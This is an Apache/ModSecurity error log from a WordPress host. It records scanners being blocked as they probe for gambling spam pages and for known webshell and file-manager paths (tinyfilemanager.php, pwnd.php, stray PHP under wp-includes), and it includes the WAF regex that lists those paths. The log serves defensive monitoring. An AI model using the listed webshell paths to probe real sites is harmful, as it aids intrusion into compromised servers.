[Tue Apr 14 02:27:01.792322 2026] [:error] [pid 60317:tid 60346] [client 79.137.65.139:40028] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ad01dbBo7Bc8I7P_P--1lAAAAMY"]
[Tue Apr 14 02:27:06.058912 2026] [:error] [pid 60317:tid 60345] [client 79.137.65.139:40032] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ad01erBo7Bc8I7P_P--1nQAAAMU"]
[Tue Apr 14 02:27:09.753299 2026] [:error] [pid 59915:tid 59985] [client 79.137.65.139:43338] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ad01fYeTNdEemByf99hSOgAAAI4"]
[Tue Apr 14 02:27:12.732007 2026] [:error] [pid 59915:tid 59976] [client 79.137.65.139:43354] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ad01gIeTNdEemByf99hSQwAAAIU"]
[Tue Apr 14 02:27:16.943309 2026] [:error] [pid 60317:tid 60340] [client 79.137.65.139:41864] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ad01hLBo7Bc8I7P_P--1sAAAAMA"]
[Tue Apr 14 02:27:20.050495 2026] [:error] [pid 59913:tid 59938] [client 79.137.65.139:41866] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ad01iK5XvQ9C-gZtr2y5AwAAABU"]
[Tue Apr 14 02:27:23.680127 2026] [:error] [pid 59913:tid 59935] [client 79.137.65.139:41874] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "ad01i65XvQ9C-gZtr2y5BwAAABI"]
[Tue Apr 14 02:27:27.105965 2026] [:error] [pid 59915:tid 59973] [client 79.137.65.139:33162] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ad01j4eTNdEemByf99hSegAAAII"]
[Tue Apr 14 02:27:30.028967 2026] [:error] [pid 60317:tid 60363] [client 79.137.65.139:33170] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ad01krBo7Bc8I7P_P--12QAAANc"]
[Tue Apr 14 02:27:33.483590 2026] [:error] [pid 60317:tid 60351] [client 79.137.65.139:33180] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ad01lbBo7Bc8I7P_P--14wAAAMs"]
[Tue Apr 14 02:27:36.616340 2026] [:error] [pid 59913:tid 59923] [client 79.137.65.139:33188] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ad01mK5XvQ9C-gZtr2y5DgAAAAY"]
[Tue Apr 14 04:57:23.037005 2026] [:error] [pid 19688:tid 19746] [client 51.75.118.97:60476] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ad1Ys4Hoi57o76xPstK15QAAAFI"]
[Tue Apr 14 04:57:25.457865 2026] [:error] [pid 19689:tid 19778] [client 51.75.118.97:42496] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ad1YtZWU15arjG3aJyRPkAAAAJc"]
[Tue Apr 14 04:57:27.922251 2026] [:error] [pid 64393:tid 64406] [client 51.75.118.97:42508] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ad1Yt-ClKltJhW50hKO6LgAAAQs"]
[Tue Apr 14 04:57:30.397379 2026] [:error] [pid 19689:tid 19758] [client 51.75.118.97:42514] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ad1YupWU15arjG3aJyRPlwAAAIM"]
[Tue Apr 14 04:57:32.879367 2026] [:error] [pid 19793:tid 19795] [client 51.75.118.97:42524] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ad1YvAGEQsZw9TkmIA4QUgAAAMA"]
[Tue Apr 14 04:57:35.188480 2026] [:error] [pid 19687:tid 19712] [client 51.75.118.97:57666] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ad1Yv2BZImnR12CCWFov9QAAABA"]
[Tue Apr 14 04:57:37.661512 2026] [:error] [pid 64393:tid 64403] [client 51.75.118.97:57682] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ad1YweClKltJhW50hKO6QgAAAQg"]
[Tue Apr 14 06:33:38.886866 2026] [:error] [pid 35713:tid 35735] [client 185.82.72.121:32321] [client 185.82.72.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ad1vQq6-hhx6ZepqOSlMQQAAANM"]
[Tue Apr 14 06:33:40.294370 2026] [:error] [pid 37048:tid 37061] [client 185.82.72.151:26451] [client 185.82.72.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ad1vRJ52Bo1OyzeXo_xRZQAAAQs"]
[Tue Apr 14 06:33:42.571495 2026] [:error] [pid 37048:tid 37062] [client 185.82.72.162:48469] [client 185.82.72.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad1vRp52Bo1OyzeXo_xRkQAAAQw"]
[Tue Apr 14 06:33:43.950426 2026] [:error] [pid 35630:tid 35689] [client 185.82.72.118:49199] [client 185.82.72.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "ad1vRzer0pVFxOiOauWLKwAAAIM"]
[Tue Apr 14 06:33:46.261184 2026] [:error] [pid 37226:tid 37237] [client 185.82.72.12:28761] [client 185.82.72.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ad1vSpOA5-IQ0IVmQCpqdQAAAUk"]
[Tue Apr 14 06:33:47.064224 2026] [:error] [pid 37226:tid 37237] [client 185.82.72.135:20675] [client 185.82.72.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ad1vS5OA5-IQ0IVmQCpqjQAAAUk"]
[Tue Apr 14 06:33:47.602679 2026] [:error] [pid 35629:tid 35659] [client 185.82.72.174:63953] [client 185.82.72.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ad1vSzY8VahzC1YJBSiMVAAAAEA"]
[Tue Apr 14 06:33:48.183450 2026] [:error] [pid 35713:tid 35730] [client 185.82.72.160:41579] [client 185.82.72.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ad1vTK6-hhx6ZepqOSlMmAAAAM4"]
[Tue Apr 14 06:33:48.758928 2026] [:error] [pid 35630:tid 35688] [client 185.82.72.194:23053] [client 185.82.72.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ad1vTDer0pVFxOiOauWLVgAAAII"]
[Tue Apr 14 06:33:49.297803 2026] [:error] [pid 35630:tid 35702] [client 185.82.72.161:51575] [client 185.82.72.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ad1vTTer0pVFxOiOauWLXAAAAJA"]
[Tue Apr 14 06:33:50.122100 2026] [:error] [pid 37226:tid 37239] [client 185.82.72.121:56923] [client 185.82.72.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ad1vTpOA5-IQ0IVmQCpquQAAAUs"]
[Tue Apr 14 06:33:51.204083 2026] [:error] [pid 35629:tid 35676] [client 185.82.72.147:42173] [client 185.82.72.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "ad1vTzY8VahzC1YJBSiMcgAAAFE"]
[Tue Apr 14 06:33:52.332253 2026] [:error] [pid 35629:tid 35676] [client 185.82.72.162:50369] [client 185.82.72.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ad1vUDY8VahzC1YJBSiMgQAAAFE"]
[Tue Apr 14 06:33:53.150430 2026] [:error] [pid 35628:tid 35632] [client 185.82.72.117:40523] [client 185.82.72.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ad1vUefPm-ozGuwCWXJ-IQAAAAA"]
[Tue Apr 14 06:33:53.982103 2026] [:error] [pid 35713:tid 35738] [client 185.82.72.191:27161] [client 185.82.72.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ad1vUa6-hhx6ZepqOSlMyAAAANY"]
[Tue Apr 14 06:33:56.304315 2026] [:error] [pid 37226:tid 37248] [client 185.82.72.164:38747] [client 185.82.72.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ad1vVJOA5-IQ0IVmQCprCAAAAVQ"]
[Tue Apr 14 06:33:57.187431 2026] [:error] [pid 35629:tid 35677] [client 185.82.72.114:21499] [client 185.82.72.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ad1vVTY8VahzC1YJBSiMoQAAAFI"]
[Tue Apr 14 06:33:58.266191 2026] [:error] [pid 37226:tid 37228] [client 185.82.72.195:60083] [client 185.82.72.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "ad1vVpOA5-IQ0IVmQCprLwAAAUA"]
[Tue Apr 14 06:34:02.141351 2026] [:error] [pid 35629:tid 35679] [client 185.82.72.135:45733] [client 185.82.72.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ad1vWjY8VahzC1YJBSiMyQAAAFQ"]
[Tue Apr 14 06:34:03.835024 2026] [:error] [pid 37048:tid 37056] [client 185.82.72.158:27027] [client 185.82.72.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ad1vW552Bo1OyzeXo_xSJwAAAQY"]
[Tue Apr 14 06:34:04.639252 2026] [:error] [pid 35630:tid 35709] [client 185.82.72.154:27323] [client 185.82.72.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ad1vXDer0pVFxOiOauWL6gAAAJc"]
[Tue Apr 14 06:34:06.562486 2026] [:error] [pid 35713:tid 35718] [client 185.82.72.136:38299] [client 185.82.72.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "ad1vXq6-hhx6ZepqOSlNLAAAAMI"]
[Tue Apr 14 06:34:08.241491 2026] [:error] [pid 35713:tid 35716] [client 185.82.72.144:59985] [client 185.82.72.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ad1vYK6-hhx6ZepqOSlNRQAAAMA"]
[Tue Apr 14 06:34:08.795676 2026] [:error] [pid 35628:tid 35649] [client 185.82.72.162:31025] [client 185.82.72.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ad1vYOfPm-ozGuwCWXJ-sgAAABE"]
[Tue Apr 14 06:34:10.161892 2026] [:error] [pid 35628:tid 35638] [client 185.82.72.131:28679] [client 185.82.72.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "ad1vYufPm-ozGuwCWXJ-wAAAAAY"]
[Tue Apr 14 06:34:10.735867 2026] [:error] [pid 37226:tid 37229] [client 185.82.72.136:39517] [client 185.82.72.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "ad1vYpOA5-IQ0IVmQCpruwAAAUE"]
[Tue Apr 14 06:34:12.444154 2026] [:error] [pid 35628:tid 35645] [client 185.82.72.197:60189] [client 185.82.72.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ad1vZOfPm-ozGuwCWXJ-3gAAAA0"]
[Tue Apr 14 06:34:15.340738 2026] [:error] [pid 37048:tid 37064] [client 185.82.72.131:33875] [client 185.82.72.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "ad1vZ552Bo1OyzeXo_xSmgAAAQ4"]
[Tue Apr 14 06:34:17.808452 2026] [:error] [pid 35629:tid 35678] [client 185.82.72.152:38763] [client 185.82.72.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.82.72.152, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ad1vaTY8VahzC1YJBSiNTgAAAFM"]
[Tue Apr 14 06:34:21.210400 2026] [:error] [pid 35629:tid 35670] [client 185.82.72.152:38763] [client 185.82.72.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ad1vbTY8VahzC1YJBSiNegAAAEs"]
[Tue Apr 14 06:34:22.365297 2026] [:error] [pid 37226:tid 37247] [client 185.82.72.134:53485] [client 185.82.72.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.82.72.134, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ad1vbpOA5-IQ0IVmQCpsXAAAAVM"]
[Tue Apr 14 06:34:22.928986 2026] [:error] [pid 37226:tid 37236] [client 185.82.72.134:53485] [client 185.82.72.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "ad1vbpOA5-IQ0IVmQCpsaAAAAUg"]
[Tue Apr 14 06:34:57.890135 2026] [autoindex:error] [pid 35628:tid 35652] [client 185.82.72.136:51731] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
